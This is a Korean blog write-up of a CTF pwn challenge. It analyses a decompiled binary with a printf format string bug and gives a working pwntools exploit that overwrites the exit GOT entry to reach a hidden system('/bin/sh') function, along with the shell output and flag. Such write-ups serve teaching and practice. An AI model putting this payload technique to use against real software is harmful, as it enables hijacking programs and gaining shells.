Hackappatoi CTF 2022 - [PWN] Endless Queue

2022. 12. 10. 08:57·CTF/Solved
728x90
반응형

1. intro

 

2. code 및 분석

2.1.  code

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  setup();
  banner();
  bar_queue();
}
void __fastcall __noreturn bar_queue()
{
  unsigned int v0; // eax
  unsigned int hours; // [rsp+Ch] [rbp-54h]
  char buffer[64]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(buffer, 0, sizeof(buffer));
  hours = 1;
  puts(&byte_2230);
  puts(&byte_2260);
  puts(&byte_2290);
  puts(&byte_2080);
  puts(&byte_22C0);
  puts(&byte_22F0);
  puts(&byte_2320);
  puts(&byte_2080);
  puts(&byte_2350);
  puts(&byte_2388);
  puts(&byte_2080);
  puts(&byte_23C0);
  printf(&format, main);
  puts(&byte_2080);
  puts(&byte_2418);
  puts(&byte_2448);
  puts(&byte_2080);
  puts(&byte_2478);
  printf("> ");
  gets(buffer);
  if ( buffer[0] == 110 )
  {
    puts(s);
    puts(&byte_2080);
    puts(&byte_24F0);
    puts(&byte_2080);
    puts(&byte_2478);
    printf("> ");
    gets(buffer);
    printf(buffer);
    putchar(10);
    puts(s);
    puts(&byte_2080);
    puts(&byte_2520);
    puts(&byte_2550);
    puts(&byte_2080);
    puts(&byte_2478);
  }
  do
  {
    puts(s);
    puts(&byte_2080);
    puts(&byte_2580);
    v0 = hours++;
    printf(&byte_25B0, v0);
    puts(&byte_2080);
    puts(&byte_25E0);
    puts(&byte_2610);
    puts(&byte_2080);
    puts(&byte_2478);
    printf("> ");
    gets(buffer);
  }
  while ( buffer[0] != 110 );
  puts(s);
  puts(&byte_2080);
  puts(&byte_2640);
  puts(&byte_2080);
  puts(&byte_2478);
  exit(0);
}

2.2. 분석

main은 3개 함수를 가지고 있는데,

banner, setup은 무시해도 되는 함수이며,

bar_queue가 주요 함수이다.

 

puts가 많아서 그렇지, 없애버리면 몇 줄 안되는 코드이다.

첫 입력 시 110 즉 n이 삽입되면 다시 한번 값을 입력 받으며, 입력 받은 것을 출력해주고,

아니라면 바로 do - while 문으로 들어가서 n이 입력되기 전까지 hours 변수 값을 출력해준다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

basic format string bug.

 

3.2. 공격 준비

파일을 실행하자마자 queue라고 던져주는데 누가봐도 주소값이다.

█████████████████████████████████████
█                                   █
█                                   █
█   _.._..,_,_                      █
█  (          )                     █
█   ]~,"-.-~~[   THE                █
█ .=])' (;  ([     ENDLESS-QUEUE    █
█ | ]:: '    [                      █
█ '=]): .)  ([                      █
█   |:: '    |                      █
█    ~~----~~                       █
█                                   █
█ You are in a room full of people. █
█ You can barely breathe. But after █
█ all, for a beer that and more.... █
█                                   █
█ you see in the back of the room   █
█ the counter. And a waiter coming  █
█ toward you                        █
█                                   █
█ Hy  this is your ticket!  As you  █
█ can see there is a bit of a wait! █
█                                   █
█ you look  at the ticket  and see  █
█ above the number 94636760379913   █
█                                   █
█ do you want to wait in silence?   █
█               [y/n]               █
█                                   █
█████████████████████████████████████

코드에서 보듯 n을 넣으면 문자열을 추가로 삽입할 수 있는데 여기서 format string bug가 발생한다.

마찬가지로 코드에서 보듯 프로그램이 종료될때 exit 함수를 쓰기에 exit got을 overwrite하면 되겠다.

 

그리고 숨은 함수로 아래와 같이 셀 실행 함수가 있기에 이 값으로 overwrite 하였다.

void __fastcall pay_and_get_beer()
{
  puts(s);
  puts(&byte_2080);
  puts(&byte_2670);
  puts(&byte_26A0);
  puts(&byte_26D0);
  puts(&byte_2080);
  puts(&byte_2478);
  system("/bin/sh");
}

 

4. exploit

from pwn import *

#p = process('./endless_queue')
p = remote('hctf.hackappatoi.com', 10002)

p.recvuntil(b'number ')
rcv = int(p.recvuntil(b'\x20')[:-1])
beer_add = rcv + 0x539
exit_got = rcv + 0x28bf

p.sendlineafter(b'> ',b'n')

pay = b'%'
pay += str(int(hex(beer_add)[10:],16)).encode('utf-8')
pay += b'c%14$hn'
pay += b'A'*(8-len(pay)%8)
off = 8-len(pay)%8
pay += b'%'
pay += str(0x10000 + int(hex(beer_add)[6:10],16)-3- 
int(hex(beer_add)[10:],16)).encode('utf-8')
pay += b'c%15$hn'
pay += b'A'*(8-len(pay)%8)
pay += b'%'
pay += str(0x10000 + int(hex(beer_add)[2:6],16)-3-int(hex(beer_add)[6:10],16)).encode('utf-8')
pay += b'c%16$hn'
pay += b'A'*(8-len(pay)%8)

pay += p64(exit_got)
pay += p64(exit_got+2)
pay += p64(exit_got+4)

p.sendlineafter(b'>',pay)
p.recvuntil(b'>')

p.interactive()

#이후에 "n"을 직접 한번 넣어주면 됨.

 

┌[WyV3rN]-(binary/)-
└> python3 c.py
[+] Opening connection to hctf.hackappatoi.com on port 10002: Done
[*] Switching to interactive mode
 $ n

█████████████████████████████████████
█                                   █
█ well you're not really a beer guy █
█                                   █
█████████████████████████████████████


█████████████████████████████████████
█                                   █
█ You finally reach the  counter    █
█ and there's  your  beautiful beer █
█ waiting for you!                  █
█                                   █
█████████████████████████████████████

$ cat flag
HCTF{444h_f1n4lly_my_b33r}

 

// 64 bit format string bug payload craft 툴을 직접 만들던지해야지 원...

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'CTF > Solved' 카테고리의 다른 글

idekCTK 2022 - Typop  (0) 2023.01.16
IRIS CTF - ret2libm  (0) 2023.01.10
Hackappatoi CTF 2022 - [PWN] heap baby v2  (0) 2022.12.11
Hackappatoi CTF 2022 - [PWN] Sanity drink  (0) 2022.12.10
Dreamhack CTF Season 2 Round #11 - [PWN] Cat Jump  (0) 2022.12.09
'CTF/Solved' 카테고리의 다른 글
  • IRIS CTF - ret2libm
  • Hackappatoi CTF 2022 - [PWN] heap baby v2
  • Hackappatoi CTF 2022 - [PWN] Sanity drink
  • Dreamhack CTF Season 2 Round #11 - [PWN] Cat Jump
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (510) N
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (74) N
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (317) N
        • pwn.college (34)
        • Dreamhack (151) N
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (44)
        • Solved (42)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    heap
    cryptohack
    Me
    BOF
    dreamhack
    FSB
    CANARY
    32bit
    ROOT ME
    Format String Bug
    lob
    la ctf
    _IO_FILE
    Buffer Overflow
    x86
    pwnable.kr
    rop
    exploit education
    RTL
    vtable
    pwntools
    x64
    root-me
    libc
    hackerschool
    tcache
    root
    docker
    phoenix
    64bit
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
Hackappatoi CTF 2022 - [PWN] Endless Queue
상단으로

티스토리툴바